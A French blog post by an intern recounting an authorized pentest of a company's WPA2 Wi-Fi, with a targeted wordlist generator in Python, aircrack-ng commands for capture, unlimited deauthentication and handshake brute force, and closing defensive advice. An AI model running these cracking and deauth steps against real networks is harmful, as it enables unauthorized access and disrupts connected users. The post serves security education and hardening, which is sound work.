Le Wifi, Forteresse ou passoire ?

Dans le cadre de mon stage, j’ai pu démontrer la vulnérabilité des réseaux Wi-Fi. Bien que la méthode puisse sembler longue, elle m’a pris moins de cinq minutes. Certaines étapes ont été volontairement masquées pour des raisons de confidentialité. Ce test a été réalisé légalement pour une entreprise, avec son accord. Je déconseille vivement de reproduire cette démarche sans autorisation, car la loi l’interdit.

⚙️ Prérequis

🖥 Environnement système

  • Un système Linux, idéalement une distribution dédiée à la sécurité comme Kali Linux.
    • Vous devez être alaise avec ce style d’environnement
  • Droits administrateur (root) pour manipuler les interfaces réseau en mode monitor.

📡 Matériel

  • Une carte réseau Wi-Fi compatible avec le mode monitor et l’injection de paquets.
    • Exemple : Alfa AWUS036NHA (chipset Atheros AR9271).
  • Un adaptateur USB Wi-Fi si l’ordinateur n’a pas de carte compatible en natif.

🛠 Outils nécessaires

  • Aircrack-ng (suite d’outils pour le sniffing, injection, brute-force).
  • Wireshark (analyse des paquets capturés).
  • Python 3 (pour exécuter des scripts de génération de wordlists).
  • Airodump-ng / Aireplay-ng / Aircrack-ng installés et fonctionnels.

👁️ Repérage et création d’une wordlist

📂 Pourquoi générer une wordlist quand il en existe sur le web

Les wordlists comme rockyou.txt, souvent utilisées par défaut, contiennent des millions de mots de passe courants. Elles sont utiles pour des attaques générales, mais inefficaces dans un contexte ciblé :

  • Aucune personnalisation : elles ne prennent pas en compte le nom de l’entreprise, ses produits, ses dates importantes, ou son environnement linguistique.
  • Temps de calcul inutile : elles testent des millions de combinaisons souvent sans rapport avec la cible, ce qui allonge le temps d’attaque.
  • 📉 Taux de succès faible face à des mots de passe composés d’éléments internes à l’organisation.

🔎 Phase de Repérage : Collecte de Mots-Clés Ciblés

Avant de lancer une attaque de type bruteforce sur un réseau Wi-Fi, il est essentiel de cibler le mot de passe avec une wordlist adaptée. Cela passe par une reconnaissance passive pour identifier les éléments spécifiques à l’environnement visé — ici, l’entreprise.

🧰 Sources d’information pour la collecte

  1. Site Web de l’entreprise
    • Sections “À propos”, “Historique”, “Équipe”, “Valeurs”.
    • Produits, slogans, événements passés ou à venir.
  2. Réseaux sociaux (LinkedIn, Facebook, Twitter)
    • Noms d’employés.
    • Anniversaires d’entreprise.
    • Mots souvent utilisés dans les publications.
  3. Documents publics ou PDFs
    • Rapports d’activité.
    • Offres d’emploi : donnent souvent des noms internes d’outils ou services.

🐍 Script Python

J’ai générer un script Python permettant de générer une wordlist à partir de mots-clés spécifiques. Je ne divulguerai pas ces mots-clés, bien entendu.

import random
import itertools

def generate_wordlist(
    keywords,
    min_length=8,
    max_length=14,
    special_chars=True,
    max_parts=4,
    output_file="custom_wordlist.txt"
):

    # Variante
    elements = set(keywords)
    for word in keywords:
        elements.add(word.lower())
        elements.add(word.upper())
        elements.add(word.capitalize())

    # Caractères spéciaux
    if special_chars:
        elements.update(['!', '@', '#', '-', '_', '.', '123', '2024', '2901', '1993'])

    elements = list(elements)

    wordlist = set()

    for r in range(2, max_parts + 1):
        for combo in itertools.product(elements, repeat=r):
            combined = ''.join(combo)
            if min_length <= len(combined) <= max_length:
                wordlist.add(combined)

    # random
    for _ in range(300):
        parts = random.choices(elements, k=random.randint(2, max_parts))
        combined = ''.join(parts)
        if min_length <= len(combined) <= max_length:
            wordlist.add(combined)

    # Écriture dans le fichier
    with open(output_file, "w") as f:
        for word in sorted(wordlist):
            f.write(word + "\\n")

    print(f"✅ Wordlist générée : {len(wordlist)} mots → {output_file}")

# ====================
# Réglages
# ====================
if __name__ == "__main__":
    # 🔧 Personnalise ici
    keywords = ["Mot clé", "Mot clé2"]

    generate_wordlist(
        keywords=keywords,
        min_length=10,
        max_length=14,
        special_chars=True,
        max_parts=4,
        output_file="wifi_wordlist.txt"
    )

Certains paramètres sont ajustables dans le script, comme la longueur minimale et maximale, ou encore l’activation des caractères spéciaux.

Une fois la wordlist générée, on peut passer à l’étape suivante.


⌨️ Utilisation de Aircrack-ng

Je suis sur VirtualBox et j’ai configuré un pont USB pour Kali Linux.

🧭 Étape 1 : Découverte des réseaux Wi-Fi

J’ai ouvert un terminal et suis passé en utilisateur root. Nécessaire pour l’injection de l’outils dans le chipset de la carte. J’ai lancé la découverte des réseaux sans fil dans mon entourage.

airodump-ng wlan0

🔎 Cette commande permet de scanner tous les réseaux Wi-Fi à portée de ta carte réseau (wlan0).

ℹ️ Les adresses MAC ainsi que les SSID sont offusqués.

BSSID : correspond à l’adresse MAC du point d’accès.
STATION : liste des clients, avec à gauche le point d’accès auquel ils sont connectés.

📌 Note : repère ici le réseau cible et les clients qui y sont connectés (nécessaire pour capturer un handshake).

🎯 Étape 2 : Surveillance ciblée d’un réseau

airodump-ng -c<CHANNEL> -w Capture -d MAC_ADDRESS wlan0

⚠️ On laisse le processus tourner et on ouvre un second terminal.

-c3 : canal sur lequel l’AP (point d’accès) émet.
-w : nom du fichier de sortie, pouvant être ouvert ensuite avec Wireshark.
-d : adresse MAC du point d’accès cible.
wlan0 : appel à l’interface wlan0 📁 Objectif : obtenir un handshake EAPOL qui permettra ensuite une attaque par bruteforce…

⚡ Étape 3 : Désauthentification pour forcer le handshake

airplay-ng --deauth 0 -a MAC_AP -c MAC_CLIENT wlan0

💥 Cette commande force la déconnexion d’un client du point d’accès. Lorsqu’il se reconnecte, un handshake est émis.
--deauth : correspond à la durée de la procédure. La valeur 0 signifie que l’attaque est illimitée ; l’arrêt doit donc se faire manuellement.
-a : option permettant de préciser l’adresse MAC du point d’accès.
-c : l’adresse MAC de l’appareil connecté au point d’accès.
wlan0 : l’action est réalisée via l’interface wlan0.

✅ Dès qu’un client se reconnecte, un EAPOL handshake est capturé (visible dans Airodump ou Wireshark).

Revenir à la fenêtre active de l’écoute réseau et attendre que la colonne Notes affiche la mention EAPOL pour un client.
Une fois le EAPOL capturé, on peut arrêter le deauth ainsi que l’écoute.

⚙️ Étape 4 : On passe au brutforcedu handshake

On lance le brute force

aircrack-ng Capture.cap -w wordlist.txt

Cela peut prendre plus ou moins de temps selon la puissance de la machine et le nombre de possibilités. Il est possible que vous ne trouviez pas le mot de passe, ce qui signifie qu’il n’est pas présent dans la wordlist.

La clé a été trouvée. La recherche a duré 2 minutes et 50 secondes. Environ 800 000 combinaisons ont été testées sur une wordlist contenant 1 020 000 mots. Le temps de recherche est donc relativement court pour tester cette quantité de mots de passe. Cela peut durée plus ou moins de temps en fonction de la machine j’avais 2 vCPU d’attribuer sur m’a machine…

🔐 Comment se protéger des attaques Wi-Fi

Les techniques utilisées dans ce pentest, bien qu’instructives, révèlent des failles majeures dans la sécurité des réseaux Wi-Fi traditionnels. Voici une série de recommandations pour renforcer la sécurité d’un réseau sans fil.

Historique des protocoles

🔴 WEP et WPA : encore présents malgré les risques

  • WEP (Wired Equivalent Privacy) : Bien que déclaré obsolète depuis 2004 en raison de failles majeures, WEP est encore utilisé dans certains réseaux, en particulier ceux avec des équipements anciens qui ne prennent pas en charge des protocoles plus récents.
  • WPA (Wi-Fi Protected Access) : Introduit comme une amélioration temporaire de WEP, WPA présente également des vulnérabilités connues. Néanmoins, il est encore présent dans certains environnements où les mises à niveau n’ont pas été effectuées.

🟡 WPA2 : la norme dominante mais vulnérable (Type utiliser dans la demonstation)

Depuis son introduction en 2004, WPA2 est devenu le standard de facto pour la sécurité Wi-Fi. Il offre un chiffrement plus robuste que ses prédécesseurs, notamment grâce à l’utilisation de l’AES. Cependant, des vulnérabilités telles que l’attaque KRACK ont mis en évidence ses limites, soulignant la nécessité d’une transition vers des protocoles plus sécurisés.

🟢 WPA3 : adoption progressive du nouveau standard

Lancé en 2018, WPA3 vise à renforcer la sécurité des réseaux Wi-Fi en introduisant des fonctionnalités telles que l’authentification plus robuste et le chiffrement individualisé. Cependant, son adoption reste progressive :

  • Compatibilité des appareils : De nombreux dispositifs, notamment dans l’Internet des objets (IoT), ne sont pas encore compatibles avec WPA3, ce qui freine son déploiement généralisé.
  • Mise à niveau des infrastructures : La transition vers WPA3 nécessite souvent des mises à jour matérielles ou logicielles des routeurs et points d’accès, impliquant des coûts supplémentaires pour les utilisateurs et les entreprises.

🤔 Que faire pour le sécuriser ?

1. 🚫 Éviter les standards obsolètes (WEP, WPA)

  • WEP et WPA (première version) sont aujourd’hui considérés comme cassables en quelques minutes.
  • Même WPA2-PSK, bien que largement répandu, reste vulnérable aux attaques de type handshake capture + brute force, comme celle démontrée ici.

🔒 Adopter WPA3 est aujourd’hui la meilleure mesure à prendre :

  • Chiffrement renforcé basé sur le protocole SAE (Simultaneous Authentication of Equals).
  • Protection contre les attaques par dictionnaire même si l’attaquant intercepte le handshake.
  • Sécurité renforcée même si un mot de passe faible est utilisé.

📌 Des contraintes avec WPA3:

  • Tous les appareils doivent être compatibles WPA3.
  • Certains anciens équipements nécessitent une mise à jour firmware ou ne sont tout simplement pas compatibles.

2. 🧠 Choisir un mot de passe fort (et le renouveler)

La faiblesse d’un mot de passe est souvent le maillon faible. Voici les recommandations :

  • Minimum 16 caractères (lettres, chiffres, symboles).
  • Éviter les noms, dates de naissance, ou combinaisons courantes.
  • Changer régulièrement le mot de passe.
  • Ne jamais partager publiquement ou via des canaux non sécurisés.

3. 📶 Masquer le SSID n’est pas une vraie protection

Même si le SSID n’est pas diffusé, il reste visible lors de connexions, donc inutile comme mesure de sécurité seule.

4. 🛑 Filtrage MAC : une fausse sécurité

Le filtrage d’adresse MAC peut être contourné facilement grâce à des outils de spoofing (comme ceux utilisés dans ce pentest). Cela peut ralentir un attaquant novice, mais pas un professionnel.

5. 🎯 Désactiver le WPS

  • WPS est vulnérable aux attaques par brute force du PIN.
  • Doit impérativement être désactivé sur tous les points d’accès.

6. 👁 Surveillance active du réseau

Mettre en place des alertes automatiques en cas de tentative de connexion non autorisée.

7. 🔄 Segmenter le réseau

  • Cloisonné le réseau invité pour les visiteurs, isolé du réseau principal.
  • Appliquer des VLANs ou du filtrage IP si l’infrastructure le permet.

Source :

https://www.aircrack-ng.org/documentation.html
https://fr.wikipedia.org/wiki/Wi-Fi
https://fr.wikipedia.org/wiki/Wi-Fi_Protected_Access
Script généré avec GPT-4o
Image : Malo Guillou